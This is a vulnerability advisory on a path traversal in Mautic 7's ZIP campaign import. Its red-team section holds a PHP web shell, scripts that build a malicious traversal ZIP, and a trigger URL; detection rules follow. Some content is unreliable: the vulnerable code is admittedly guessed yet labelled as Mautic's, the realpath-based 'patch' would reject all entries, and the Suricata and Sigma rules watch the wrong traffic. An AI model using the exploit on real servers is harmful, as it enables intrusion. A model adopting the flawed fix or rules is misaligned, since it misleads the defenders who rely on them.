CVE-2026-9559

Executive Summary

CVE-2026-9559 is a critical path traversal vulnerability in Mautic 7, specifically within the campaign import feature. The flaw allows an authenticated user with campaign:imports:create privileges to write arbitrary PHP files to sensitive system directories by exploiting insufficient validation during ZIP file extraction. This can lead to Remote Code Execution (RCE) under the context of the web server user. The vulnerability has a CVSS score of 9.9, indicating a critical severity level. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority threat for all Mautic deployments.

Supply Chain & Package Security

Mautic is a PHP-based open-source marketing automation platform. The vulnerability resides in the core application code, not in a third-party package. However, the exploitation vector involves uploading a malicious ZIP file, which is a common supply chain attack vector. Organizations should verify the integrity of any uploaded files and restrict campaign import privileges to trusted users only.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid account with campaign import privileges.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the original authorization scope.
• Confidentiality (C): High (H) – Complete disclosure of all files on the system.
• Integrity (I): High (H) – Complete compromise of system integrity.
• Availability (A): High (H) – Total shutdown of the affected resource.

Threat Level: Critical. The combination of low attack complexity, low privileges required, and the potential for full system compromise makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is located in the campaign import functionality of Mautic 7. When a user imports a campaign via a ZIP file, the application extracts the archive to a temporary directory. The flaw lies in the validation logic that checks file paths during extraction. Specifically, the application fails to properly sanitize or validate file paths that contain directory traversal sequences (e.g., ../). An attacker can craft a ZIP file containing files with paths like ../../../../var/www/html/mautic/config/local.php to write arbitrary content to sensitive locations.

The extraction process likely uses PHP's ZipArchive class or a similar library. The vulnerable code may look like:

$zip = new ZipArchive();
if ($zip->open($uploadedFile) === TRUE) {
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        // Insufficient validation: only checks if file exists, not path traversal
        if (file_exists($tempDir . '/' . $filename)) {
            continue;
        }
        $zip->extractTo($tempDir, $filename);
    }
    $zip->close();
}

The missing check for .. sequences allows the attacker to escape the intended extraction directory. Once a malicious PHP file is written to a web-accessible directory (e.g., config/local.php or a cache directory), the attacker can execute arbitrary PHP code by accessing that file via HTTP.

Vulnerable vs. Patched Code

Vulnerable Code (Mautic 7):

// In CampaignImportController.php or similar
public function importAction(Request $request) {
    $file = $request->files->get('file');
    $zip = new ZipArchive();
    if ($zip->open($file->getPathname()) === TRUE) {
        $extractPath = sys_get_temp_dir() . '/mautic_import_' . uniqid();
        mkdir($extractPath, 0777, true);
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $entry = $zip->getNameIndex($i);
            // VULNERABLE: No path traversal check
            $zip->extractTo($extractPath, $entry);
        }
        $zip->close();
        // Process extracted files...
    }
}

Patched Code (Hypothetical):

public function importAction(Request $request) {
    $file = $request->files->get('file');
    $zip = new ZipArchive();
    if ($zip->open($file->getPathname()) === TRUE) {
        $extractPath = sys_get_temp_dir() . '/mautic_import_' . uniqid();
        mkdir($extractPath, 0777, true);
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $entry = $zip->getNameIndex($i);
            // PATCHED: Resolve and validate the path
            $realEntry = realpath($extractPath . '/' . $entry);
            if ($realEntry === false || strpos($realEntry, $extractPath) !== 0) {
                throw new \Exception('Invalid file path in ZIP archive');
            }
            $zip->extractTo($extractPath, $entry);
        }
        $zip->close();
        // Process extracted files...
    }
}

The patched version uses realpath() to resolve the full path and then checks that it starts with the intended extraction directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid Mautic user account with campaign:imports:create privilege.
• Access to the campaign import functionality (typically at /s/campaigns/import).

Exploitation Steps:

1. Craft a Malicious ZIP File: Create a ZIP archive containing a PHP web shell with a path traversal payload.

   # Create a PHP web shell
   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   
   # Create a ZIP file with a traversal path
   mkdir -p exploit/../../../../var/www/html/mautic
   cp shell.php exploit/../../../../var/www/html/mautic/shell.php
   cd exploit
   zip -r ../malicious.zip .
   cd ..
   rm -rf exploit
   

   Alternatively, use a Python script:

   import zipfile
   import os
   
   # Create a malicious ZIP file
   with zipfile.ZipFile('malicious.zip', 'w') as zf:
       # Path traversal to web root
       zf.writestr('../../../../var/www/html/mautic/shell.php', '<?php system($_GET["cmd"]); ?>')
   

2. Upload the Malicious ZIP: Log in to Mautic, navigate to the campaign import page, and upload the malicious.zip file.

3. Trigger the Exploit: Access the uploaded shell via HTTP:

   http://target.com/mautic/shell.php?cmd=id
   

4. Post-Exploitation:

   • Escalate privileges if needed.
   • Maintain persistence by creating a new admin user or installing a backdoor.
   • Exfiltrate sensitive data.

Blue Team

Detection and Response:

1. Monitor File System Changes:

   • Use file integrity monitoring (FIM) tools like OSSEC or Tripwire to detect unauthorized file writes to sensitive directories (e.g., config/, cache/, app/).
   • Alert on any new PHP files created in web-accessible directories outside of normal update processes.

2. Audit Campaign Imports:

   • Review all campaign import logs for unusual ZIP file names or sizes.
   • Check for imports that result in files being written outside the expected temporary directory.

3. Network Monitoring:

   • Monitor for HTTP requests to suspicious PHP files (e.g., shell.php, cmd.php, backdoor.php).
   • Look for unusual parameters in GET/POST requests (e.g., cmd, exec, system).

4. User Activity Monitoring:

   • Alert on any user with campaign:imports:create privilege performing imports outside of normal business hours.
   • Review user accounts for unauthorized privilege escalation.

Indicators of Compromise (IOCs)

• File System IOCs:

  • Unexpected PHP files in config/, cache/, app/, or web root directories.
  • Files with names like shell.php, cmd.php, backdoor.php, or randomly named PHP files.
  • Modified local.php or other configuration files.

• Network IOCs:

  • HTTP requests to /mautic/shell.php?cmd=... or similar patterns.
  • Outbound connections from the web server to unknown IP addresses (C2 traffic).
  • Unusual User-Agent strings in POST requests to campaign import endpoints.

• Log IOCs:

  • Campaign import logs showing ZIP files with path traversal patterns.
  • PHP error logs containing warnings about realpath() failures or file permission issues.
  • Web server access logs showing requests to newly created PHP files.

Detection Engineering

YARA Rule

rule CVE_2026_9559_Mautic_Path_Traversal {
    meta:
        description = "Detects malicious ZIP files exploiting CVE-2026-9559 in Mautic"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-9559"
        severity = "critical"

    strings:
        $traversal1 = "..\\" ascii wide
        $traversal2 = "../" ascii wide
        $php_shell = "<?php" ascii wide
        $zip_header = { 50 4B 03 04 } // ZIP local file header

    condition:
        $zip_header at 0 and
        (#traversal1 > 0 or #traversal2 > 0) and
        $php_shell
}

Sigma Rule

title: Mautic Campaign Import Path Traversal Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-9559 by uploading malicious ZIP files with path traversal sequences
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9559
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/s/campaigns/import'
        cs-uri-query|contains: 
            - '..\\'
            - '../'
    condition: selection
falsepositives:
    - Legitimate imports with unusual file names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Mautic CVE-2026-9559 Path Traversal Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/s/campaigns/import"; http_uri; content:"..\\"; within:100; content:"../"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Campaign Import: If possible, temporarily disable the campaign import functionality by removing the campaign:imports:create privilege from all users.
2. Restrict User Privileges: Review and limit which users have the campaign:imports:create privilege. Only grant it to trusted administrators.
3. Web Application Firewall (WAF): Deploy WAF rules to block ZIP file uploads containing path traversal sequences (e.g., ../, ..\\).

Long-Term Fixes:

1. Apply Patch: Monitor Mautic's official channels for a security patch. Once available, apply it immediately.
2. Code Hardening: Implement proper path validation in the ZIP extraction logic using realpath() and strict prefix checks.
3. Input Validation: Validate all file paths within ZIP archives before extraction. Reject any paths containing .. or starting with /.
4. Sandbox Extraction: Use a sandboxed environment (e.g., Docker container) for processing uploaded files to limit the impact of any future vulnerabilities.

Workarounds:

• If patching is not immediately possible, consider using a custom PHP wrapper that intercepts ZIP extraction and validates paths.
• Implement a file upload scanner that checks for malicious content before extraction.

Valters IT